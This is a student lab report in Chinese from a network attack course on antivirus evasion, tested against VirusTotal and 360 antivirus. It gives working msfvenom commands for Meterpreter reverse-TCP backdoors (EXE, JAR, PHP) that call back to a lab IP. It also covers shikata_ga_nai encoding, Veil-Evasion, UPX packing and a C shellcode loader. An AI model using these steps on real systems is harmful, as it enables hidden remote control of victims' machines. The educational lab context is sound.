2019-2020-2 网络对抗技术 20175330杨璟旭 Exp3 免杀原理与实践
目录
-
一、基础知识介绍与问题回答
-
二、实验内容
-
- 任务一:学习正确使用msf编码器、msfvenom生成如jar之类的其他文件、veil、加壳工具、 使用C + shellcode编程以及课堂其他课堂为介绍方法(3分)
-
- 任务二:通过组合应用各种技术实现恶意代码免杀(0.5分)
-
- 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(0.5分)
-
三、实验要求
-
四、实验感想
一、基础知识介绍与问题回答
1.免杀原理
- 对恶意软件做处理,使杀毒软件检测不到检测,同时也是渗透测试中需要使用到的技术。
- 学习免杀就必须了解恶意软件检测工具是如何运作的,了解才能战胜。
2.基础问题回答
Q1: 杀软是如何检测出恶意代码的?
A1: 有三种
- 基于特征码的检测
特征码是一段或多段数据,如果一个可执行文件包含这样的数据则被认为是恶意代码。恶意软件的检测,只要文件中有一个或几个片断就可作为识别依据。
- 启发式恶意软件检测
根据片面特征去推断(看起来像),通常缺乏精确判断依据
- 基于行为的恶意软件检测
基于行为的检测相当于启发式的一种,或者是加入了行为监控的启发式,基本理论是让软件运行,记录其行为并分析,通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,如果发现了这些特殊行为,就会认为其是恶意软件。
Q2: 免杀是做什么?
A2: 让安插在被控机器的恶意代码通过一些手段不被杀毒软件软件发现。
- 改变特征码的技术:EXE——加壳:压缩壳、加密壳、使用encode进行编码、基于payload重新编译生成可执行文件、用其他语言进行重写再编译
- 改变行为的技术: 尽量使用反弹式连接,使用隧道技术,加密通讯数据;基于内存操作,减少对系统修改,加入混淆作用的正常功能代码
二、实验内容
任务一:学习正确使用msf编码器、msfvenom生成如jar之类的其他文件、veil、加壳工具、 使用C + shellcode编程以及课堂其他课堂为介绍方法
1.正确使用msf编码器,生成exe文件
setp1:将实验二中利用msf生成的后门程序backdoor.exe,上传到VirusTotal网站进行恶意软件检测。
检测结果如下:
- 直接生成的exe文件无法避免绝大多数杀毒软件识别,免杀性较低
step2:正确使用msf编码器,生成exe文件
- 一次编码使用命令:
-e
选择编码器,-b
是payload中需要去除的字符,该命令中为了使'x00'
不出现在shellcode中,因为shellcode以'x00'
为结束符
- 在命令行输入
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.239.136 LPORT=5330 -f exe > 5311msf.exe
- 十次编码使用命令:
i
设置迭代次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.239.136 LPORT=5330 -f exe > 5330msf.exe
- 代码检测结果如下
-
msfvenom会生成固定模板的exe文件,因此其具有一定特征,hikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,免杀性较低。一般的AV厂商会针对其使用的模板来生成特征码,这样所有msfvenom生成的恶意代码都会被解决。
2.msfvenom生成jar文件
输入命令
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.239.136 LPORT=5330 x> sxx_backdoor_java.jar
网站中扫描结果如下
3.msfvenom生成php文件
输入命令
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.239.136 LPORT=5330 x> 20175330_backdoor.php
- 紫色的就是生成文件
- 扫描结果如下
4. 使用veil-evasion生成后门程序及检测
- 安装veil
- 输入
sudo apt-get install veil-evasion
进行安装veil(过程会出现各种错误) - 出现错误输入
sudo apt-get purge veil
卸载veil,然后重新安装(吐血) - 正常的话一直‘y’到安装成功就行了
- 安装成功后出现如下错误输入
/usr/share/veil/config/setup.sh --force--silent
- 即可
- 出现如下界面证明安装成功(兄弟辛苦了)
- 输入命令
use evasion
进入Evil-Evasion
- 输入命令
use c/meterpreter/rev_tcp.py
进入配置界面
- 设置IP
- 设置端口号
- 输入命令
generate
生成文件 - 输入名称
veil_c_5330
- 网站检测结果如下
5.使用加壳工具尝试
- 输入命令
upx 5330msf.exe -o sxx_upxed.exe
得到加壳文件
- 网站检测结果如下
6.使用C+shellcode编程
- 输入命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.239.136 LPORT=5330 -f
生成一段shellcode
- 输入命令
vm 20175330创建文件
- 输入如下代码将char buf中的数据赋值其中
unsigned char buf[] = "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30" 此处省略 "xc3xbbxf0xb5xa2x56x6ax00x53xffxd5"; int main() { int (*func)() = (int(*)())buf; func(); }
- 输入命令编译文件
i686-w64-mingw32-g++ 20175330.c -o 20175330.exe
- 网站扫描结果如下
7.使用其他课堂未介绍方法
- 启动veil,输入
use 1
选择veil-evasion,输入list
查看清单 - 选择第32个荷载,为Python下shellcode通过DES
- 输入
options
查看有效荷载的选项 - 输入命令
generate
生成文件 - shellcode平台选择2:msfvenom,payloads与IP、端口号通过tab获取
- 输入文件名,选择Py2Exe生成exe文件
- 生成的rc文件保存路径为var/lib/veil/output/handlers/中
- 可执行文件保存路径为/var/lib/veil/output/source/中
- 网页扫描结果
任务二:通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
- 嵌入式Shellcode
- 手动实现Shellcode的加载工作,只生成shellcode,而不是完整的可执行文件,这一个简单的步骤,就可以降低VirusTotal的命中率
- 使用msf生成一段shellcode
- 再将其写入shellcode中
- 结合压缩壳达到了初步免杀的目的
- 获取主机shell
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 我使用了一台kali虚拟机作为控制端,和一台win7的虚拟机作为被控端
- 将msfvenom生成的shellcode,再压缩可初步通过杀软检测。
-
杀软使用的是360,版本为12.0.0.2001
四、实验中遇到的问题
在实验过程中,最头痛的一点是关于veil的安装,一开始按照同学博客上写的的步骤加上我电脑的环境不是太全面导致我安装老是报错,在网上自己查找资料找方法,安装了四五个veil还是卡住,做实验一半时间就花在这上面了(哭)。最后在胡激动的博客中看到失败后重新卸载后再安装,试了一下,在第三次的时候成功了,Veil安装出错我不知道为什么。简直是一个玄学问题,不过好歹解决了。
五、实验感想
本次实验非常贴近真实生活,直接动用现实存在的杀毒软件进行验证,在看到我的文件没有被查出来的时候我非常开心,感觉自己好像离真实的黑客尽了一步(狗头),之后还会考虑将恶意代码和MP4文件捆绑一下之类的尝试,这次实验还是带给我非常大的惊喜的。